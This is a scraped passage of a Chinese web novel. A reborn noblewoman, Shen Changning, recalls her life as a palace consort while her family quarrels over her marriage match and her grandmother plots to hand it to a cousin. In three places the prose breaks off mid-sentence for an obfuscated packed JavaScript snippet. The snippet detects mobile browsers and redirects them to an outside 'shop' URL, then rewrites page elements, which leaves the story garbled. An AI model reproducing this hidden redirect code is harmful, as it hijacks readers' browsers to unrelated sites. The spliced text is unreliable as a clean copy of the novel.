周遭点着数盏灯，其中两盏还未来得及笼上灯罩，一走一过间，火苗跳跃，明灭不定，镜子里晃映的脸上光影也跟着时明时暗。 沈庭萧脚步猛停。 小手拿着镜子，忽而上举，呆呆注视。 两息后，忽调转身子，面向光源，再看一遍。 伤痕完完整整的暴露，不仅没有消失，反而更加清晰。 沈庭萧扭头，看向尚在笑的兰嬷嬷，终于理解她为何突然间大变脸色。 他不喜欢读书，老先生讲得再好，他也听不进去，晌午饭后，老先生讲经的声，落在他耳中，和摇篮曲无异，不知不觉便睡了去，铁马不久便入梦，他好像有些将梦境和现实给混淆，慌乱中四处奔逃—— 沈庭萧缓缓将脸调转方向，只觉得自己要被自己的羞耻给烫死。 兰嬷嬷哪是哭，她分明是笑。 可怜他一番心意。 沈庭萧没脸见人，埋头在沈长宁怀里，不肯起来。 见状，兰嬷嬷猛低头，怕自己再笑出来。 沈长宁摸摸他的头，忽想起上辈子收到的边关军书，沈庭萧当时才十五，却已能独当一面，率军千里突袭，连夺三城。 就是设计陷害，直到死，他都未降。 ……在自己看不到的地方，他独自一人，在风雨中，长大了。 兰嬷嬷实在是难压心头的笑，心知不是说话的好时机，掩着唇脚步匆匆走了，倚云伺候二人重新入睡，再吹熄灯，随之也离去。 沈长宁侧躺在枕上，沈庭萧神思疲沓，已昏沉沉睡去，手紧紧攥着她的袖口，眼角细瞧，尚有泪痕。 沈长宁略微搭上眼，不知何时，睡了过去。 梦境纷来。 前世。 阳春三月，杨柳河畔，天色微晚，周遭瘦竹斜出，沈长宁坐于亭中，远处有人合奏笛箫。二者合奏，锋利与缠绵交叠，余音如缕，袅袅不绝，裂石穿云，惊破桃花。 她偶尔远眺，但见二人身影。 其中一人她识得，是秦均行。 出神之际，身旁忽多出一人，是秦均行的妹妹，那人半是乞求半是讨好，笑道：“他是个好苗子，哥哥想教他秦家枪。” 沈长宁哑然。 沈庭萧什么时候认识的她？ 对方却拉着她向河畔走去，“他真的是个好苗子，不信我让我哥哥和你说。” 箫声不知何时已停，只余一尾残音，如轻风流水，拂过面颊。 她知道秦均行懂笛，却不知吹箫者何人，来到河畔，人欲问，抬眼却只瞧见秦均行一人，旁侧空空，只有些许被马蹄压弯的野草，延绵前行。 记忆至此消散，沈长宁睁眼。 远处，天已微亮。 沈庭萧睡得不安稳，不知何时，已隔着被，扑向她怀里。 沈长宁未动。 上辈子她嫁与闻钰后，沈庭萧并未离开秦家，反而一直长在秦均行身边。秦均行恨她，未放过姚家，亦未放过沈家，却饶过了她唯一的弟弟。只是沈庭萧，到底以最惨烈的方式死了。 沈长宁上辈子始终不懂，两军对垒，分明是定胜的局，秦均行为何偏要让沈庭萧一人领兵突袭。 八百骑兵，迎战对方三万大军。 她想要沈庭萧入土都做不到，带回来的只有他半截沾血的长枪。 她抱着枪，心痛欲死。 秦均行脸色苍白，站在那里僵若泥塑，无有一言。 - 晨醒后，沈长宁起身洗漱。 沈庭萧用被蒙着头，装着未醒，直到沈长宁让兰嬷嬷端来早膳，才扭扭捏捏起来。 兰嬷嬷经过昨晚，已能憋住笑，维持着以往大家嬷嬷的做派，满面祥和，待和沈庭萧对视时，还生出一抹伤心，用帕子压压眼角。 沈庭萧瞬间想起昨晚兰嬷嬷用帕子掩住下半张脸的场景，目光登时定在粥上，怎么也不肯离开。 方慧饭后来瞧，也笑了两场，说道：“等你好些，我带你给老先生赔罪去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773612|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈庭萧听沈长宁讲了老先生昨日情态，羞愧叠加，两颊生窘，原地打摆子几个来回，自己突跑回里间，还不让他们瞧。 方慧和兰嬷嬷道：“知道错就是好的，最少心里是知道天高地——” 下一刻，沈庭萧捧着一解了落锁的匣子出来，小心放在方慧身边，伸手打开。 方慧还以为又是弹弓类的。 年纪小，正是藏不住事的时候，有什么好东西，总是私下和她显摆。 没想到，里面满是银子，银锭大小不一，匣子边缘是自己穿成串的铜钱，有新有旧，瞧着就知攒了许多年。 方慧震惊。 哪来这么多银子？ 沈庭萧不好意思道：“这些都是我平日里攒的，您拿些，帮我给老先生买方好墨，待我伤好了，亲自给他赔礼道歉去。” 现在不能去，伤在脸上，怕是要被耻笑。 方慧有意逗他：“这么多银子，那定要买以松烟为之的徽墨。研磨时便香彻肌骨，渣不留砚，墨色更是黑润有光，写后千年不褪。” 她想看沈庭萧是否舍得。 沈庭萧错愕呆住，紧咬下唇，看起来陷在两难之中，久久不定。 “怎么，你不愿意？” “我——”沈庭萧开口便停，趴在罗汉床上，“我自然是愿意的，可姐姐要嫁人了，我私下听人说，女子的嫁妆便是女子的体面，少了要被人议论，我不想让姐姐遭人耻笑。你给我留些，我想给姐姐添妆。” 再硬心肠的人，此刻都要软下来。 何况方慧本就不是个心硬的人。 她爱怜极了。 晚些，她要和沈长宁讲讲。 想必她下次教训沈庭萧时，下手会轻些。 - 沈长宁上午一直在方慧身旁。 府里姑娘未嫁人，几个少爷，也未成亲。 方慧的长子少亡，如今沈府里齿序最大的，是三房的长子，沈庭瞻，比方慧膝下的沈庭文大两个月。 既无儿媳，府中之事，少不得要大房、三房一一操忙。 三房只忙手中的生意就可。 方慧不同，她掌中馈，又是大夫人，每日忙得脚不沾地。便让沈长宁和沈宝婵打下手。 沈宝婵比沈长宁小一岁，今年十四，本要和三房的沈妙仪出去瞧料子，骤然被叫来，不禁苦着脸。 方慧假装看不见。 沈长宁则自觉替方慧看起礼单。 上辈子，她送礼不少，收礼也不少，此道上颇为精通，但更主要的，是她也不爱看账本。 方慧对府内庶务尤为练达，这等事上向来不出错，沈长宁只替她向下写。 方慧瞧看几眼，笑问：“你怎学起我的字来？” 沈长宁柔声道：“好看。” 上辈子，她嫁给闻钰的次日，闻钰便被削爵圈禁。 二人囚禁，缺衣少炭。 入夜，闻钰睡得总是极浅，稍有动静便惊醒，沈长宁知道他在害怕，怕一睡再也醒过来。 皇后杀了娴贵妃的孩子，娴贵妃自然要他偿命。 沈长宁便靠在床角，让他躺在自己腿上，揽着他睡，轻轻哄他：“殿下睡吧，别怕。” 她在告诉闻钰，哪怕有人来，她也会挡在他身前，替他去死。 闻钰仿佛睡熟，没有言语，她却清晰觉察，有两行温热液体渗透单薄衣衫，敲打在肌肤。 她的字，被闻钰细细教了三年，放在一起，有时连身边伺候的人都分不清。 她不想再与闻钰有牵扯。 沈长宁写得慢，方慧也不催，眉眼间愈发异彩涟涟。 半炷香后，瞧着送礼单子，又惊又喜：“你有这本事，怎往日还藏着掖着！” “最近才开的窍，这不马上来了。”沈长宁笑。 正说着，外头忽有人来。 仆妇打起帘子，起身瞧看，定了定神，回：“三夫人来了。” 方慧忽笑不出来了。 5. 重开宴5 方慧打心眼里不待见三夫人。 三夫人姓许，名唤窈娘。 方慧不是个不能融人的，又素来心软，有时虽有点小性子，还笨笨的，但本性不坏，颇有点憨厚可爱之意。 整个沈家，说心里话，她唯独不喜两人。 一个是她的婆母。 自古以来，婆媳关系最难处。 刚嫁进来那几年，她可没少站规距，现在提起，都委屈。 方家门第并不低，真说起来，她还是下嫁，到这，却被百般磋磨。 刚成亲时，方慧母亲私下提起老夫人时，还亲热地叫声秦家夫人，后来就变成了那不死的老虔婆。 可对老夫人的厌恶度，到底不抵对许窈娘的。 方慧厌恶她，是因为一桩旧怨。 许窈娘的年纪，细说来，比她还大上两岁，两人间本不相熟，更无旧交。 是她的长子刚没的次年，她心底郁郁，正逢上巳节，去京中桥下放灯许愿，希望她的孩子可以再度投生在她肚子里，而不是这般弃她于不顾。 流水潺潺，周遭绿树浓荫，柳条吹落。 回去的路上，她遇见了许窈娘，对方生得尤为貌美，容色清婉，琼鼻杏唇，满脸涟涟泪光。 都是女子，她顿觉可怜，不由去问。却在见到她时，愕然定住。 那人露在外面的腕，满是青紫瘢痕。 她多问两句，方知晓，许窈娘本是一读书人家的女儿，只后来家道中落，无钱葬父，被家里用五十两银子卖人做妻。只可惜嫁的丈夫是个酗酒的鬼，又出身行伍，醉后常打她。 那日，沈鑫正巧也在。 沈家的这代儿郎，命中带金。 长子沈钦，二子沈锡，三子因着齿序，正凑了个三金，“鑫”字。 正逢夜深，月光漫天，盈盈浮动。 许窈娘在月下，娇柔如春水。 沈鑫见之，怔然。 后面，沈鑫使了些手段，将她从原先的丈夫手中救出，还想尽办法，求了母亲，生让许窈娘进门，做了正头娘子。 方慧本没什么意见，男女间你情我愿的事，许窈娘又实在可怜。 可她万没想到，许窈娘根本不是被欺了的羊，她就是头扑人的狼！不仅将沈鑫驯得规规矩矩、唯其马首是瞻，她还妄想从大房这撕下口肉。 当时她正怀着沈庭文，不得与沈钦亲近。 许窈娘私下竟寻了好几房美妾，欲通过婆母的手，向她房中塞。 她吓坏了，又气极，眼噙着泪，扑在沈钦怀中，哭得好不可怜：“我不是不能容人的性子，只我容不下她塞来的人，你是孝子，违背不得母亲的意思，我亦不舍你夹在我与母亲间为难，我这便回方家，一刀抹了脖子，给你们腾地儿……” 说着，掩面痛哭，鼻尖红红，泣不成声。 沈钦顿时心软。 沈钦虽未将那些人收房，但这并不耽误方慧恨极了许窈娘。 大房、三房，就此不睦。 哪怕方慧后随沈钦离京数年，再见面时，心里依然横着跟刺。 许窈娘自知理亏，沈家如今事事又多倚仗着大房，倒是对她事事恭谦。 可方慧依旧不舒服。 这是用的上大房，若用不上，当日情境怕是很快要再现。 一朝被蛇咬，十年怕井绳，她不得不防着。 许窈娘穿过两侧长廊，很快走来，见方慧便笑，“嫂嫂。”说着，又瞧沈长宁，让跟着自己来的沈妙仪，去找两位姐姐。 沈长宁齿序第四。 沈宝婵和沈妙仪则分列五、六。 沈宝婵长沈妙仪七个月，一个生在三月，一个生在十月。 沈宝婵见沈妙仪来，依旧低头看账，不愿吭声。 她不喜欢沈妙仪。 她不知道沈妙仪从何处学来的动不动就跪的手段，两人每次有争执，闹到长辈面前，她就只会红着眼睛掉泪珠，不言不语的样子，惹的三叔大发雷霆，他最是宠自己的这个姑娘，因为她长得像许窈娘。 祖母又素来偏心三房，觉得三房不敌大房，有官身，又非长子，来日分不得太多家产，素日里总睁只眼闭只眼，说她是做姐姐的，平日里要多让着些妹妹。 沈宝婵惹不起躲得起，找人守门，见对方来，就从后院跑，跑不了再推，说死也不肯再和她玩。 沈妙仪挨了几次闭门羹，委屈得不行，回院里哭一番不成，又跑去祖母面前掉泪住子，说沈宝婵不喜她，出去和其它府的姑娘们玩，都刻意避她。 沈宝婵当日回府，就被叫去老太太跟前问话。 沈钦是个好脸面的，最看重家宅和睦，而且又有官身，极少过问后宅事，偶尔听到，也是让她让着些三房。 沈宝婵被训了通，百般委屈，也跑去沈钦面前哭，说他偏心，家里谁都看重沈妙仪多过她。 “我只不过比她大几个月，我是她姐姐，又不是她母亲！”沈宝婵哭的比沈妙仪委屈百倍，“您当初若给我晚生个一年半载，让我做妹妹，该多好，何至于过如今的日子。我还比她先死呢，她怎不让着我？沈家向来不厚此薄彼，每次出门，都是带着所有姑娘的，难不成是我会什么惑人的辜术不成，让她们每次下帖子都只邀我！” “分明是她，只会哭哭啼啼地搬是非、可可怜怜地装柔弱！” 沈钦被她气道，又第一次听她此言，气不打一出来：“我、你——” 他说沈宝婵不是，不说也不是，唬着脸，“有事你不会和你母亲与祖母讲的？就任她欺负，我看你被训也是活该！” 沈宝婵闷着声音：“说不说又有什么用，她每次哭，三叔都去，他在那一站，没理也是有理。” 说到这，又忍不住掉泪：“要不是三哥读书争气，还不知他是不是同我一般，被欺负成如此模样。” 沈钦听此，沉着脸，再无一言。 不知多久，他长叹一声，“你先回去。” 回屋后，方慧也恼，不肯理他，直到洗脚时，两人坐在一起，才没好气地睨他一眼：“这下知道婵儿的委屈了？让让让，就会让！不知道的以为你的日子是和三房过的！” 沈钦坐在方慧身边，伸手接过仆妇手中装着热水的铜壶，给她盆里添水，到底服了软：“是我忽视了家里，你知道，后宅的事，我不好张口。” 顺天府辖理京中，可京中哪那么好管，各处都是祖宗。管哪都受夹板气，他在官署已然疲惫不堪，回家后更不愿意听阴私事，想着母亲在，尚未分家，怎么也不会闹太过，未想，私下竟这般模样。 “夫人，你觉得当如何？” “三房，就是个欺软怕硬的，你让宝婵学长宁硬气一回试试，看她们有几个胆子！” 沈钦迟疑：“你不怕她们传宝婵是个泼皮悍妇？” 方慧恼：“那便是你这个当爹的没能耐，三房算个什么，还能欺到你头上，背地里嚼你姑娘的舌根！” 沈钦哑然。 次日。 沈宝婵在花园边上翘首等着，连年积累的委屈攀爬上心头，见沈妙仪路过，上去就揪着对方的发髻，扯她头花，不知道哪来的力气，将所有拉架的嬷嬷都甩开，对着沈妙仪又咬又拧。 两人打做一团，发髻被揪住，抬不起头，就用头去撞沈妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773613|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪。 沈宝婵被罚得不轻，不仅挨了戒尺，还被禁足，整一个月没出过门。出来后第一件事，就是拿戒尺去打沈妙仪。 这次没打成，中间隔着一群拼命去拦的仆妇。 沈妙仪吓得花容失色，连带着老夫人都老实不少，不敢偏私太过。三房破天荒的，没敢再私下闹。 沈宝婵这才明白为什么有句俗话叫软的怕硬的，硬的怕横的，横的怕不要命的。 - 沈宝婵低头看账，沈妙仪瞧她两眼，见她未理自己，只当看不见。 沈妙仪也不吭声，独自在圆凳上坐着。 前两日，两人又因着珠钗的事，拌了几句嘴。 两人总吵，众人都知，到底是孩子，也未戳破。 方慧不得不耐着性子开口，撑着端庄主母的样，问：“妹妹今日来，可是有事？” 许窈娘视线笑移向沈长宁那。 方慧心中登时有了数。 ……消息知道得还真快！ 许窈娘揣度着两人想法，瞧着沈长宁，撞嗔般睨了眼，再笑与方慧言：“长宁终究是与你情深，与我谊薄，议亲这么大的事，都不与我说，不知道的，还以为是我素日里头刻薄了她。” 她的眉眼很漂亮，宛若含着一抔盈盈的水，她着实是个美人。 只老了，内里多出几分活泛。 方慧很想问一句：难道不是吗？ 沈锡与姚氏双丧时，沈长宁尚小，二人留下的铺子产业尽数交由老夫人打理。 过了两年，她与沈钦受难荫，调回京中，重新接管中馈，她本以为，那些铺子田庄，都会交到自己手里，谁想，老夫人将其分作两半，小头给了她，大头给了许窈娘。 老夫人当时嘴脸，她尚记得，拉着她的手，一副情真意切的模样，“你是长媳，沈家的大夫人，沈钦的妻子，素日里支撑沈家门庭的柱子，每日那般忙碌，实在让我心疼，左右是二房的产业，每年收成都要放在两个孩子名下，不若交给窈娘打理，也让你缓口气。” 老夫人，最是偏心她的小儿子。 无非就是算计上了二房的产业，又不好意思尽数划到三房名下，硬扯了个由头。 账册都一应交了去，每年收成，也不过略说个数。还非现银，只一张钱庄的存票。 个中门道，她哪能不知。 老夫人的情深情薄，许窈娘怎的不提？ 方慧皮笑肉不笑：“妹妹知道得倒快。” 昨儿个，沈钦已让一众伺候的退了出去，按理说，消息不该传得这么快。 可大宅门里哪有秘密。 许窈娘略略提一嘴：“还不是请安时，听母亲提的。” 方慧笑吟吟地，将许窈娘先前的话奉还回去：“母亲终究是与你情深。” 既为人，就皆有七情六欲，她又没成佛，哪能时刻大度。 她总想呛回去。 许窈娘被方慧的反说之言呛住，情绪不上不下的，憋得难受。 她现在好歹也是大户人家里有头有脸的正头娘子，方慧怎的说话，总不顾及自己。 她的热脸，也不是谁都能得的，方慧怎总冷冷的！ 许窈娘微生不满，可到底不舍得走。 她实在想打探。 她不愿深说，又实在想打探。 初听老夫人提，她还以为自己听错了，沈长宁……沈长宁怎么能配得上那么好的人家呢！ 这桩婚事，落到大房头上，她也不挑。 沈宝婵有得力的父兄。 许窈娘问的小心，似打探似求证：“李家可说了，何时下聘？” 6. 重开宴6 方慧一眼瞧清她心思，略瞥了瞥眼，拿起了些许架子。 其实这事本就是双方刚有意动，嘴上提提，根本未过明路，未拟章程，说是压根没影也不为过。 她兴奋劲儿过了，昨日夜里也犯嘀咕，后听沈钦所讲，才略定下来。 只她还是不大信，若娶个死在任上的官员的姑娘，就能升官。 沈钦父亲还死在任上呢，他也不过六品。 可此疑虑，不过在心里转了个圈就散了，再起，也只压着。就是对着沈钦，她也说不出口。像她不盼着沈长宁好似的。 婚事不成，她落口舌。 婚事成了，沈钦又要笑她，妄议朝政，操不干己事的心。 左右官字两张口，怎么说都是他有理。 方慧不动声色瞧了眼沈长宁。 沈长宁察觉到目光。 半晌，沈长宁装作无事地低头看账。 方慧的意思，是不让自己参与，等下也莫要说话。 沈长宁很听话。 她常听人言，累得像条狗。 沈长宁觉得自己连狗都不如，狗可不会被狗男人虐身虐心。 上辈子太累了，累到她常生恍惚。 她并不喜与人斗，可她嫁给了曾被皇帝议储的皇子，两党斗争不止。 为了活下去，她不得不斗，不得不争，满手血腥。 坐在龙椅上的，是个无情和凉薄的帝王，而非闻钰的父亲。那人仅存的爱，浅浅分给了大庆的万千百姓与万丈国土。 对大庆来说，他是个曾勤勉过的好君主，对她和闻钰来说，唯剩悲哀。 她陪闻钰，冷宫三年，朝堂四年，每一月每一日都难熬。 某日秋凉，夜天生雨，她与人吃酒取暖，说笑间说起朝堂局势，垂眸间，视线掠过杯盏，看着自己的倒影，如入深渊，骤而怔住。 酒水晃动，映出一人，蛾眉婵鬓、楚腰越艳、肤光盛雪。 可顷刻间，又变了模样。 那里的哪是人，分明是一个对权势妄动心念的骷髅。 身边灯火荧煌，酒杯交错间，笑谈皇图霸业，又尽化作醉意，滚过喉头。 沈长宁呆坐。 窗外，秋雨敲窗，滂沱而下，她分明坐在屋内，却仿佛置身雨中，浑身冰冷。 新帝登基次年，夏日宫宴。 闻钰宴饮群臣，夜宴酣畅，众人兴散方归，她也醉了，酒泛红霞、行走间，金钗颤摇。 神思恍惚间，有一双手稳稳扶在自己腰间。 来人手掌宽大，掌心透来的温度，穿过薄纱，从腰腹攀爬而上。 她如今是受尽宠爱的贵妃，连皇后都不放在眼里，阖宫上下，也只有闻钰可以不经她同意，做如此放荡的举动。 沈长宁看着眼前狭长幽深、怎么也走不到尽头的宫道，忽然脸颊生哀，“闻钰，下雨了。” 闻钰动作一顿。 他抬眼看去，正值暑天，赤日炎炎，即便渐入夜，依然暑气熏蒸，毫无雨意。 “你醉了。” “我没醉。”沈长宁抬眼，脸颊薄薄艳红，意识已然昏沉，“你不懂我。” 此时雨非当时雨，她却始终走不出那个漫长而潮湿的雨夜。 她想为魂魄扯开一个口子，抬臂却只摸到一寸寸窄墙。 “陛下，我不想做皇后了，太累了。”沈长宁甩开他的手，又被人攥住。 沈长宁终究拂去，摇晃着走，裙衫热烈，身后满宫灯火，她只身一人，孤零零向深处走，“闻钰，你爱我、敬我，却做不到唯我。你见她那日，我就学着舍下你了。” …… 沈长宁慢慢翻过账册。 这辈子她只想做个偶尔翻身的咸鱼。 方慧知道许窈娘不问出东西不肯罢休，合上两本重要的账册，表面说沈长宁，实则在说沈庭文，“李家左右是满意的，不急在一时，等文哥儿过了会试再说也不迟。现在定下，岂不李家的碍事？” 大庆如今尚是盛世，边境安定，不似先帝在时的动荡，重心也从武功逐渐倾斜到文治上。 朝堂兴盛不衰的关键，是老人退了，尚有新人顶上。 此层关系在，科举便成了重中之重的要事。 尤其是内里的会试一节，每次的主考官、同考官，乃至监临、提调等官，都是自翰林、六科与六部曹官里选。 礼部与翰林管天下学子，每次都要去人。 此次，尚书眼瞧着要升内阁，右侍郎年纪又太大，不出意外，去的约莫是左侍郎，也就是要与沈家结亲的李家。 考场上有个约定俗成的隐形规矩，哪位考官点中了自己的卷子，私下会宴请言说，席间考生闻弦知意，会认对方做自己的恩师，成为他的门生，日后互为倚仗。 官场里讨生活，家里多靠不住。 真正能靠住的，是门生。 每届都有高中的进士，族中子弟，统共能出一两个就是上辈子救了文曲星的命。 多个门生多条路。 不过为防徇私舞弊，每年选考官时，都有因避嫌不得入的，比如家里子侄、门下学生在此界考生中。 方慧说起沈庭文时，眼里的笑顷刻间，溢了出来，压都压不下。 她实在是喜欢这个分外给自己长脸的儿子。 年少老成，从不惹祸，且读书刻苦，手不释卷，小时，与二人离京赴任，那地苦寒，柴炭不足，手都生了冻疮，也要完成先生定下的功课。 许窈娘心底不是滋味，可还要虚捧着，叹：“到底是庭文成器。” “庭瞻亦是不差的。”方慧虚虚回。 沈庭瞻，正是许窈娘的儿子。 那年八月，沈家双喜临门，方慧时隔两年，再度有孕，阖家上下欣喜若狂。 同时刻，许窈娘嫁了进来，一月后，诊断出有喜。 方慧亦欢喜，常去探望，只后来出了妾氏的事，她最初以为是老夫人的主意，后面才知，那两个美妾，是许窈娘搭线牵来的。 方慧怕得不行，又恨得不行。沈钦劝她安心养胎，她应了，想着许窈娘比自己怀得晚，她此胎若得男，依旧是沈家的长子，她要为自己谋算，大房长孙，可和旁的孩子不同。 她万没料到，许窈娘会提前两个半月生，还生了个哥儿。 三房对外说，是受了惊早产。 她瞧过，可不像，甚至许多足月的孩子，都不抵那孩子的身量。 ……还用说什么。 方慧深感时运不济，头生的长子没了，本以为能再生个占位的，未想，临门一脚被人抢了。唯一的宽慰，就是沈庭文实在争气，颇有祖父风采。 许窈娘的丈夫，沈家三爷沈鑫，是个做事稳妥的，和许窈娘亦情深，从无收通房纳美妾的心。 沈庭瞻作为两人头生的孩子，性子上，却不肖似二人。 是个……那处的常客。 但除了此点，倒挑不出错，待人有礼，也算君子有道。 近两年，不知开了哪门子的窍，尤善奇淫技巧之术，做出的东西，常被贵人相中。 方慧本想道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773614|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不若让沈庭瞻走制科，再托托关系，使些银子，去工部做个小吏，又怕此言生事，思来想去，到底没开口，而是道：“长宁的婚事暂不急，左右还有一年的时间慢慢相看，可庭瞻过了年，可十八了。” 沈妙仪坐在沈长宁边上的圆凳上，闻言，掌心轻攥了下。 沈长宁视线落下。 对方察觉，抬眼。 沈长宁弯眼笑笑。 沈妙仪亦笑笑，紧接着，又垂眸。 不同于沈宝婵的脸颊丰润，娇柔甜静。 沈妙仪容色更像许窈娘，偏清婉，柳叶秀眉、清眸流盼，一颦一笑，都带着书卷气，尤为袅柔。 许窈娘怀她时，怀相不大好，生的时候又难产，沈妙仪刚生下来，浑身青紫，不哭也不叫。 许是因着这遭事，身子比另两个姐姐都孱弱，小时候都不能见人，寒冬腊月，每次出去，都要大病一场，过了八岁，方见好。 她是个心思敏感的。 沈长宁知道她在想什么。 沈庭瞻只比沈庭文大两个月，方慧如今言提沈庭瞻的婚事，真正为的，是沈庭文。 长幼有序，沈庭瞻不成亲，沈庭文的婚事也不好言说。 十月秋闱放桂榜，沈庭文高中，沈钦的朝中同僚听闻，就起了结两姓之好的苗头。 方慧催了三房数次。 许窈娘也怕耽搁沈庭文，那她和大房间的嫌隙，可就要更深了，她还盼着沈庭文高中，来日照料自己两个孩子。 许窈娘正了正神色，压下因为沈长宁定了个好婚事带来的难言情绪：“正要和嫂嫂说这事呢，三爷给庭瞻相看了门亲事，对方定着年前来家里，拜访母亲，也算是相看。” 方慧一喜，“何时来？” “二十六。”许窈娘对这婚事，很是满意，说起话来，眉飞色舞，“三爷想着，过了年就下定。” “这般快？”方慧都惊了。 她都没听见风声。 “庭瞻到底大了，过了年都十八了。”这是方慧刚说的话。 方慧眨眨眼，一时竟不知如何回，干巴巴道：“是呢。” 许窈娘给沈庭瞻相看的人家是晋中曹家，主做酿酒杂货钱庄的生意，是当地大族，生意遍布大庆十八行省，资产逾万贯。 给沈庭瞻相看的，当前曹家大宗一脉，曹六爷的三姑娘。 - 过了酉正，沈钦下值，刚和方慧说两句，就被老夫人叫去。 方慧以为有什么急事，忙让嬷嬷伺候自己穿衣。 二人依着规矩，给老夫人行礼问安。 老夫人坐在罗汉榻上，二人坐在下首椅子处，不知何事。 老夫人竟将所有仆妇都支使了出去。 方慧犯起嘀咕。 怎这般大阵仗？难不成要分家？ 心底想着，老夫人开了口：“我今日找你们，是想说长宁的婚事。” 方慧迟疑：“母亲，这有什么好说的？难不成，您是想成亲时再添些银子。” 嫁妆自有姚氏昔日陪嫁，府里依着规矩，再添两千两，就是。 可沈长宁是高嫁，再添个千百两，也说不出什么。 老夫人觉得方慧就是个不通晓人事的木头，并未理她，只对沈钦道：“我的意思是，能不能将这婚事，落到宝婵或妙仪的头上。” 李家这般好的门第，指给沈长宁，实在浪费了些。 若能换成宝婵与妙仪该有多好，一个能让能让沈庭文仕途更通达，另一个能给不成器的三房一个保障。 7. 重开宴7 沈钦面皮顷刻间抖动了几下。 方慧愕然极了，下意识去看沈钦。 ……换亲？ 这、这怎么能成呢？ 方慧忍不住道：“母亲……” 您是疯了吗？怎说出如此胡话，这要让外人听见，可如何是好。 老夫人睨她一眼，方慧闭口不言。 她家世不比二房姚氏，口舌又不敌许窈娘，不及她能讨老夫人欢心。 她已不是毫无倚仗的新妇，她有得力的丈夫和儿子，哪还肯讨老夫人的嫌，让她抓了把柄教训自己。 老夫人一双目，锐利地在沈钦的皮上刮着。 闺阁妇人不懂这门姻亲的尊贵，可沈钦身为朝官，怎能不明白？ 仕途让有人提携，路会好走多少？ 沈钦心中亦天人交战。 他怎能不心动。 他止步举人，身为文官，却非进士出身，他不说，可一直以此为耻。沈庭文是他的希望，见其展露出读书天赋的那天，无人知他的欣喜。 他对沈庭文的心，和旁人都不同。 沈庭文，是他的儿子，他的延续，也是另一个他。 沈钦羞于承认，又不得不承认，老夫人说出话的那刻，他心也跟着走了。 心猛一颤，沈钦无法面对生如此卑劣想法的自己。 他此番做法，与中山狼有何异。 他能走到今日，还是承了二弟沈锡的情，沈钦一时心乱，老夫人的期待目光落在脸上，只觉似火，灼痛不堪。 方慧的愕然神色，更让他羞惭难耐。 知子莫若母，老夫人晓他许有意动，本欲再说，沈钦猛抬手，止其语，默了半晌，字字真切：“儿子不过六品通判，职卑言轻，万攀附不上那等钟鸣鼎食之家。对于长宁，我唯有爱怜，断不会做此强夺姻缘之事。” 老夫人又气又急：“我是为你好！” 她记挂着大房有个成器的孙子！不然怎的不先问三房？ 沈鑫可是她最疼的小儿子。 李家钟鸣鼎食，沈家何尝不能被乘坐是簪缨世家，她的丈夫、儿子、乃即公爹，不都是官身！哪里弱了！ 沈钦断然喝道，“母亲莫要说了！” 他为官多年，离京赴任那些年，官职虽低，却深入百姓。府衙里官常换，吏却不动，百千人，尽是当地府县大族之人，上颁新政，落实到下，总要他们承担，与百姓世族斡旋交锋，时间长了，板起脸来，不怒自威。 老夫人被他陡生的气势惊到。 她第一次见自己的长子动这般大的气。 沈钦起身，退后数步，给其行礼，“母亲糊涂了，此话日后莫要提了，沈家不敌以前，经不起风雨吹折。儿子才疏学浅，比不得二弟年少高中，靠祖辈余荫方有今日，庭文更是不易，还望母亲日后行事，多加体谅。” “母亲若执意，儿子亦无法，只这门姻亲，沈钦无论如何，都消受不起。” 这番话若传出去，他还有何颜面在朝中立足。 说罢，转身离去。 方慧忙起身去追。 老夫人气到身子发抖，指着两人离去方向，好半晌说不出话，“叫……叫三夫人来。” 他不领情，自有领情的。 - 方慧脚步急急，终赶至沈钦身边。 沈钦面容灰败，悠悠叹口气，“你去瞧瞧长宁，我怕母亲和她说什么。” 方慧应了。 沈长宁正练字，写了两幅纸，见方慧来，忙起身去迎。方慧猛攥住她的手，眼睛睁大，一刻不肯歇地急问：“母亲可你说什么了？” 沈长宁原还想着，方慧会不会找自己，闻言笑笑，“我早上去给祖母请安，她留我在那，问我可有心仪的人家。” “你怎说的？” “我只说一切皆听您的，旁的未言。” 方慧骤松心神。 沈长宁迎她进来，见她指尖冰凉，特意让仆妇拿个汤婆子来。 方慧见老夫人未挑明，也没多说，怕沈长宁多想，只让她安心，旁的事，有她在。 二人说了一阵，方慧又瞧了眼沈庭萧，方离去。 沈长宁送她。 再回来时，抖落一身雪风。 她知道老夫人是什么意思，前世，这事已经发生过一次了。老夫人记挂着亲生的两个儿子，想将这门好亲事换给大房和三房，再给她挑个旁的。 大房不愿，三房意动，可没松口。 老夫人劝了几次都不成，就此作罢。 沈长宁双手托腮，趴在案上，百无聊赖地转着笔。 